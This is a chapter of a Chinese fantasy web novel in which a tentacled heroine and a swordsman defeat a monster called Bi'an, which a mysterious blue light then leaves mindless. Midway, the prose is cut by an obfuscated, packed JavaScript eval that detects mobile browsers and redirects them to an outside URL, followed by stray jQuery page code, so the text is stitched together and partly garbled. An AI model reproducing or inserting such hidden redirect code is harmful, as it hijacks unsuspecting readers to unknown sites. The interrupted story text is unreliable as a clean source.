彼岸怒气冲天,狠话撂得张狂,但与这两个人类实际打了几个来回后,它立刻察觉到了不妥。
先前对上那细皮嫩肉的黑发剑客的时候,它没花多少功夫就将对方压制住了;但此刻,随着奇怪的触手女人加入战局,局势立即不受它控制了——这两人的配合还有些生涩,但偏偏在关键的时候有种别样地默契。它被压得死死的,只能被动防御,毫无还手之力。
更糟的是,它控人心魂的能力必须长时间凝视敌人的双眼才能发动,在这样快节奏的战斗中,几乎没有成功的可能性。
黎望舒则越战越勇。再次重创了试图发动能力的彼岸,她看着对方在地上翻滚几圈,鲜血淋漓、满脸灰土的狼狈样子,觉得心中畅快极了:“你的能力也不过如此。被猎物踩在脚下的感觉如何?”
“低贱的人类,你以为这样就算赢了?”
彼岸双目血红,拖着身子勉强躲开了郁仪的斩击,终于放弃了使用能力的打算,将全部精力都投入到了对身体的操控之中。
随着它集中的精神力,一条条蓝黑触手速度极快,带着破空声向黎望舒刺去——只要先干掉这个女人,剩下的剑客就是它掌中之物了!
看出了它的意图,郁仪立即后撤,想要掩护黎望舒。但触手实在太多,又都角度刁钻,郁仪只能挡下其中的一部分,剩下的另一部分冲势不减,凌厉地直冲黎望舒面门而去。
“不用管我,顾好你自己!”黎望舒高喝一声,自己则不避不闪地站在原地,身下触手瞬间生长,迎上彼岸的触手,与它们纠缠在了一起。
触手与触手相触的瞬间,她立刻察觉到了异样之处——与自己的不同,彼岸的触手表面像是另外长出了一层硬皮似的,二者的坚韧程度根本不在同一个层次上。若是拼力量,她尚有一战之力,但在坚韧强度上,她没有一丝胜算。
触手还可以变成这样?
黎望舒心有所感,但已经没功夫细细琢磨了——彼岸也察觉到了她的弱点,并不准备与她拔河,而是干脆利落地收紧了触手,想要将她的触手直接绞断。
韧性注定拼不过对方,黎望舒干脆放弃了抵抗,任由彼岸将触手绞紧,转而琢磨起了刚刚抓住的那一丝灵光。
就在她无师自通地学会了改造触手的那一刻,她与彼岸纠缠着的那十来根触手终于噗嗤一声,从中间齐齐地断开了,蓝黑色血液大股大股地喷涌而出,猛烈的疼痛从下肢一路窜到了天灵盖。
“望舒!”郁仪一直注意着这边的动静,见她伤得这么重,顿时急了——他手腕一翻,剑刃微微震动,速度瞬间加快,拉出了一道笔直的银色剑光,向彼岸刺去。
停车场里的三人听到郁仪的疾呼声,不顾黎望舒的叮嘱,都提着武器跑出来想要帮忙,就连面色苍白的闻风藻都扶着墙走了出来,撑着脑袋想要发动能力。
“……我没事。你们冷静点,别被钻了空子!”
黎望舒牙关紧咬,将痛呼声牢牢封在口中,催动触手中的沸腾血液,转瞬间就在剩余触手的表面生出了一层硬膜。她崭新的触手强度不输于彼岸的,甚至还要更胜一筹,随着她的心念向前伸展,重新缠上了彼岸尚未退去的触手。
心念一动,黎望舒用与它相同的手法,分毫不差地生生绞断了它那簇触手,报了先前的一箭之仇;与此同时,郁仪的剑也削掉了彼岸的及肩短发,架在了它的右肩上,将它压在地上,动弹不得。
至此,彼岸的落败已成定局。
“呼……呼……”来不及为胜利感到欣喜,黎望舒急促地喘着气,眼前一阵发黑。她身下触手的断面还在滴着血,尖锐的疼痛不断在脑中翻搅,又让她的意识变得无比清醒。
“没事吧?”
“你怎么样?”
连霏和杜蕊跑到她身边,异口同声地问。不同的是,连霏眼眶痛红,但强忍着没掉下泪来,杜蕊则已经哭成了泪人,眼泪在沾满血迹的脸颊上冲刷出一道道白净水痕。
在近处看到黎望舒狰狞的伤口,她眼泪顿时掉得更凶了,抽搭地问:“站得稳吗?要不要我们扶你?”
“不用。”黎望舒摇头,看向被郁仪用剑刃压住的彼岸,心中闪过一丝怪异。
……彼岸的反应有些奇怪。
一改之前的嚣张气焰,它面色铁青,紧盯着地上那几条被它绞断的青黑触手,身体在郁仪的剑下微微颤抖着,连牙齿都在打战,像是见到了什么极为恐怖的东西似的。
是因为怕死?这倒是方便了许多。不能放过这个好机会,在杀死它之前,要想办法多问出些情报。
黎望舒没有深思。为了不在怪物面前露出疲态,她绷紧面部肌肉,忍着持续不断的巨痛,缓缓向彼岸那边游去。
“我、我不知道……”被她不带感情的琥珀色瞳孔注视,彼岸神色愈发惊恐,无视了颈间下压的剑刃,即便皮肤被割破,仍感受不到疼痛似的,它向前又爬了两步,瞪大双眼仰望着黎望舒,眼白爬满血丝,“您是……”
“小心!”
闻风藻瞄到一束蓝光飞射而来,下意识认为那是冲着黎望舒来的,他一边疾声提醒,一边顺着本能伸出手,用尽全力在蓝光的必经路线上凝出了一面小小的防护罩——却没想到袭来的蓝光强度极高,一瞬便击碎了防护罩,笔直地冲进了彼岸的后脑。
防护被冲破的一瞬间,熟悉的重击感袭入脑中,闻风藻发出一声痛呼,面上血色全无。他扶着墙倒下,最后强撑着抬头看了一眼,试图透过模糊视野确认黎望舒的安危,随即便失去了意识。
“闻风藻!”黎望舒刚想去查看闻风藻的情况,面前的彼岸也出现了异常——被蓝光击中后,她双眼依旧大睁着,眼中的神采却消失了,头颅失去支撑,脖颈软软地向郁仪的剑刃倒去。
郁仪察觉到不对,第一时间托住了彼岸的脑袋。他手腕一翻,单手将剑收入剑鞘,去摸它的脉搏,双眉忽然蹙起,“……不对,它还活着。”
“什么?”
黎望舒不信邪地伸出手,探向彼岸的脖颈——指腹下传来颈动脉有力的跳动,它的心脏也仍在搏动,甚至仍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872398|158285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有呼吸。
这就怪了……它双目微睁,瞳孔涣散,浑身上下软绵绵地任人摆弄,即便再制造出伤口也没有反应,分明是死了的样子,可这具身体却还没有完全死去。
这让黎望舒想起了一种名为脑死亡的现象。
蓝光独独摧毁了彼岸的神智——或者说灵魂——却没伤害到它的肉身……它是某种精神方面的攻击?
那道蓝光附带的气息让黎望舒感到熟悉,本能地,她想起了怪潮中那道灼热的视线——那家伙的目标果然是他们这一行人。
可蓝光射来的速度实在太快,黎望舒只捕捉到了它射入彼岸眉心前的样子,根本无法锁定它到底是从哪里射出来的。
她眉峰低压,目光沉沉地往前方扫了一圈——视野内尽是高楼大厦,能藏身的地方实在太多……这一次,她仍然无法追上那个放出蓝光的神秘人。
“对方手段莫测,你又伤得不轻,不能再追了。”看穿了她心中所想,郁仪将彼岸丢在地上,站起身来直视着她,皱眉劝道:“若是实在放不下,就由我去——”
“我明白,不必再追。”黎望舒看了眼闻风藻的方向——他像是被反噬了似的,双目紧闭,七窍流血,被杜蕊与连霏拖到路边,样子很是凄惨,但似乎没有性命之忧——她收回目光,视线又回到瘫软的彼岸身上,冷不丁地问,“你听到它临死时说的话了吗?”
“……嗯。”郁仪面色凝重地点头,“似乎有什么东西让它畏惧,它一直在发抖。”
彼岸实力高强,与半人怪物相比地位颇高,很有可能知道什么关键情报,却又畏惧死亡,为此不惜用情报交换活命的机会;尾随他们的神秘人看出了这一点,出于某种目的——也许是为了保守秘密——将彼岸灭口……这样的推测似乎说得通。
但黎望舒总觉得哪里不太对劲。
彼岸究竟是在哪个时间点出现异常的?回想起来,似乎从绞断她触手的那一刻开始,彼岸的动作就变得迟钝了不少,也不再反抗,以至于轻易地就被郁仪抓住破绽,拿捏住了命门。
这样一来,彼岸并不是恐惧死亡,而是害怕那些被它绞下的触手……或是血液?
这样想来,以前似乎也发生过类似的状况。
在山城图书馆门前与众人一起抗击怪潮时,她本以为怪潮退去是太阳升起、怪物厌光的缘故,但细细回想,怪物们不知疲倦的进攻似乎是在她的触手被刺穿后才停下来的。当时那只咬中她触手的小怪物也冻僵了似的,尖牙嵌在她触手上一动不动,轻易就被扯下来杀死了,和彼岸的反应颇有些相似。
毫无疑问,她的触手或血液中应该有什么特殊之处,但若是想要利用这种特殊……她还需要更多的尝试。
“郁仪,帮我个忙,我有些事情想要验证。”捋顺了思路,黎望舒开口,“从外围捉两只小怪物回来,要活的,我留在这里等你回来。”
“没问题,我会尽快。你有伤在身,遇事不要勉强。”郁仪眸中隐隐有些忧色,没有问原因,提着剑很快消失在了街道尽头。